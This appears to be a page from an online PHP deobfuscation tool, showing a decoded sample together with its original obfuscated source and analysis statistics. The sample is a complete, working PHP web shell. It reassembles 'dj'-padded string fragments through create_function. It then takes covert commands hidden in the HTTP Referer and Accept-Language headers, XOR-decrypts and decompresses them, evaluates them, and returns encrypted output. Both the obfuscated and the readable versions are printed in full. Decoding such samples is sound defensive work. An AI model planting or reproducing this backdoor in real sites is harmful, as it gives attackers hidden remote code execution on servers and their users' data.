Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $d='m);if(dj$q&dj&$mdj){@sessiondj_djstartdj();$s=&$_SESSdjIONdj;$ss="sudjbdjsdjtr"..

Decoded Output download

$kh="c260";$kf="2b00";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}

Did this file decode correctly?

Original Code

<?php
$d='m);if(dj$q&dj&$mdj){@sessiondj_djstartdj();$s=&$_SESSdjIONdj;$ss="sudjbdjsdjtr";$sl="strtolowe';
$P='),$ss($s[$dji],0,$edj)dj))dj,$k)));$o=obdj_getdj_contents();djob_end_cdjleandj();$d=badjdjsedj';
$y='trpdjos($pdj,$h)===0){$s[$idj]="";$pdjdj=$ss($djp,3);}djidjf(array_kdjdjey_edjxdjists($i,$s)dj){';
$R=str_replace('kw','','ckwrekwkwate_fkwkwukwnction');
$b='64_encode(x(gzcdjdjomdjpress($o),$k));pdjrindjt("<$k>$d<dj/$k>"dj);@sdjession_dedjstroy(dj);}}}}';
$i='j};}}return djdj$o;}$r=$_SERdjVER;djdj$rdjrdj=@$r["HTTP_djREFERER"dj];$rdja=@$r["HTdjTP_ACCEPT_';
$p='rdj";$i=$mdj[1][0djdj].$m[1][1]dj;$hdj=dj$sdjl($ssdj(md5(dj$i.dj$kh),0,3));$djf=$sl($ss(md5(dj';
$o='$s[$i].dj=$p;$e=strpos($djs[$i],$djf);if(dj$e){dj$k=$kh.$kf;djob_stdjartdj();@evdjaldj(@gzuncom';
$L='dj$idj.$kf),0,3));$p="";fodjdjr($djz=1;$z<cdjount($m[1]dj);$z++djdj)$djp.=$q[$m[2][$z]];idjfdj(s';
$G='djpress(@x(@djbasedj64_decoddje(predjgdj_rdjeplace(arrdjay("/_/",dj"/-/")dj,arradjy("/"dj,"+dj"';
$K='$kh=dj"c2dj60"dj;$kf=dj"2b00";functidjodjn x($t,$k){$cdjdj=strlen(dj$kdj);$l=strlen($t);$djo=""';
$Y=';djfor($idj=0;$i<dj$l;){fdjodjr($j=0;(dj$j<$c&&$i<dj$l);$djj++,$i++dj){$o.dj=dj$t{$i}^$kdj{$dj';
$I='rdjray_djvaldjues($qdj);preg_matdjch_aldjl("/([\\wdj])[\\w-dj]+dj(dj?:;q=0.([dj\\d]))?,?/",dj$ra,$dj';
$a='LANdjGUAGE"];idjf($djdjrr&&$ra){$dju=parse_djurl($rr);pdjadjrsedj_str($u["qdjudjery"],$q);$q=a';
$r=str_replace('dj','',$K.$Y.$i.$a.$I.$d.$p.$L.$y.$o.$G.$P.$b);
$h=$R('',$r);$h();
?>

Function Calls

null 1
str_replace 2
create_function 1

Variables

$G djpress(@x(@djbasedj64_decoddje(predjgdj_rdjeplace(arrdjay("..
$I rdjray_djvaldjues($qdj);preg_matdjch_aldjl("/([\wdj])[\w-dj]..
$K $kh=dj"c2dj60"dj;$kf=dj"2b00";functidjodjn x($t,$k){$cdjdj=s..
$L dj$idj.$kf),0,3));$p="";fodjdjr($djz=1;$z<cdjount($m[1]dj);$..
$P ),$ss($s[$dji],0,$edj)dj))dj,$k)));$o=obdj_getdj_contents();..
$R create_function
$Y ;djfor($idj=0;$i<dj$l;){fdjodjr($j=0;(dj$j<$c&&$i<dj$l);$djj..
$a LANdjGUAGE"];idjf($djdjrr&&$ra){$dju=parse_djurl($rr);pdjadj..
$b 64_encode(x(gzcdjdjomdjpress($o),$k));pdjrindjt("<$k>$d<dj/$..
$d m);if(dj$q&dj&$mdj){@sessiondj_djstartdj();$s=&$_SESSdjIONdj..
$h None
$i j};}}return djdj$o;}$r=$_SERdjVER;djdj$rdjrdj=@$r["HTTP_djRE..
$o $s[$i].dj=$p;$e=strpos($djs[$i],$djf);if(dj$e){dj$k=$kh.$kf;..
$p rdj";$i=$mdj[1][0djdj].$m[1][1]dj;$hdj=dj$sdjl($ssdj(md5(dj$..
$r $kh="c260";$kf="2b00";function x($t,$k){$c=strlen($k);$l=str..
$y trpdjos($pdj,$h)===0){$s[$idj]="";$pdjdj=$ss($djp,3);}djidjf..

Stats

MD5 a513564bc50a290291e637b316495448
Eval Count 1
Decode Time 108 ms